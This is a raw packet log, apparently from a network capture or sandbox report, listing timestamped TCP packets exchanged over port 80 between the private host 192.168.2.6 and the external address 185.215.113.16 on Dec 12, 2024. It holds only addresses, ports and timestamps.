Dec 12, 2024 21:50:19.439280987 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.439332962 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.439383030 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.439429045 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.443876028 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.443941116 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.443960905 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.444070101 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.448404074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.448465109 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.448559046 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.448690891 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.452892065 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.452943087 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.452991009 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.453200102 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.458605051 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.458662033 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.458764076 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.458812952 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.463423014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.463516951 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.463588953 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.463634014 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.467688084 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.467750072 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.467833042 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.467885017 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.470244884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.470354080 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.470700979 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.473865032 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.473922014 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.473975897 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.474026918 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.477608919 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.477674961 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.477710009 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.477787018 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.484096050 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.484113932 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.484158039 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.484195948 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.486090899 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.486141920 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.599443913 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.599477053 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.599494934 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.599514008 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.599549055 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.599549055 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.599606037 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.599649906 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.603681087 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.603703022 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.603729963 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.603749037 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.606193066 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.606250048 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.606498003 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.606687069 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.609055996 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.609112024 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.609186888 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.609225035 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.611881018 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.611949921 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.612023115 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.612060070 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.614764929 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.614785910 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.614823103 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.614840031 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.617554903 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.617603064 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.617621899 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.617647886 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.620003939 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.620068073 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.620162010 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.620228052 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.622873068 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.622921944 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.623173952 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.623258114 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.625437975 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.625488043 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.625564098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.625612974 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.628185987 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.628238916 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.628284931 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.628313065 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.630907059 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.630960941 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.631051064 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.631095886 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.633502007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.633584976 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.633686066 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.633739948 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.636149883 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.636193991 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.636212111 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.636270046 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.639640093 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.639712095 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.639764071 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.639864922 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.641864061 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.641928911 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.642009974 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.642213106 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.644438982 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.644531965 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.644608974 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.644669056 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.647098064 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.647170067 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.647245884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.647298098 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.650012016 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.650067091 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.650085926 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.650121927 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.652770042 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.652846098 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.653784037 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.653830051 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.656614065 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.656653881 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.656670094 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.656697989 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.658176899 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.658220053 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.658230066 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.658263922 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.660871029 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.660908937 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.660924911 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.660950899 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.663613081 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.663680077 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.663752079 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.663796902 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.666244984 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.666302919 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.666397095 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.666441917 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.668920994 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.668973923 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.669073105 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.669131994 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.674998999 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.675044060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.675061941 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.675086975 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.677632093 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.677670002 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.677690029 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.677711010 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.678332090 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.678394079 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.678487062 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.678569078 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.681056976 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.681155920 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.681197882 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.681286097 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.685745001 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.685820103 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.685895920 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.685950994 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.688359976 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.688535929 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.688568115 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.688582897 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.691201925 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.691258907 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.691370964 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.691452980 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.794783115 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.794852972 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.794867039 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.794899940 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.795553923 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.795598030 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.795618057 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.795639038 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.798466921 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.798510075 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.798527002 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.798552990 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.800684929 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.800753117 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.800808907 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.800849915 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.803114891 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.803160906 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.803179979 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.803263903 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.805389881 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.805411100 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.805438995 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.805463076 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.807841063 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.807862997 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.807912111 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.809833050 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.809899092 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.809994936 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.810122013 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.812268972 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.812345982 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.812442064 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.812520027 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.814448118 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.814502954 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.814593077 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.814677000 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.816751957 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.816771984 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.816808939 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.816838980 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.818840981 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.818886042 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.819016933 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.819066048 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.820955992 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.820972919 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.821013927 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.821038961 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.823062897 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.823113918 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.823354006 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.823404074 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.825237989 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.825295925 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.825368881 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.825444937 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.827362061 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.827388048 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.827421904 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.827449083 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.829461098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.829524040 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.829617023 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.829750061 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.831465960 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.831645012 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.832006931 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.833798885 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.833849907 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.833857059 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.833901882 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.835900068 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.835939884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.835971117 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.835998058 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.837757111 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.837807894 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.837905884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.837954044 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.839979887 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.840030909 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.840115070 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.840265036 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.842132092 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.842261076 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.842294931 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.842348099 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.844301939 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.844340086 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.844382048 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.844402075 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.846323013 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.846492052 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.846577883 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.846673012 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.848500013 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.848547935 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.848628998 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.848679066 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.850583076 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.850655079 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.850727081 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.850783110 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.852875948 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.852911949 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.852945089 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.852971077 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.854682922 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.854743004 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.854935884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.854983091 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.856765985 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.856817007 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.856899977 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.856937885 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.859015942 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.859096050 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.859177113 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.859250069 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.861236095 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.861272097 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.861320019 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.861341953 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.863353014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.863389969 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.863411903 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.863435984 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.864156961 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.864193916 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.864221096 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.864244938 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.867662907 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.867729902 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.867758989 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.867806911 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.869616985 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.869673014 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.869774103 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.869824886 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.871845007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.871885061 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.871900082 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.871926069 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.873881102 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.873918056 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.873945951 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.873974085 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.874362946 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.874413967 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.874480009 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.874530077 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.875195026 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.875230074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.875252008 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.875286102 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.875677109 CET	80	49901	185.215.113.16	192.168.2.6
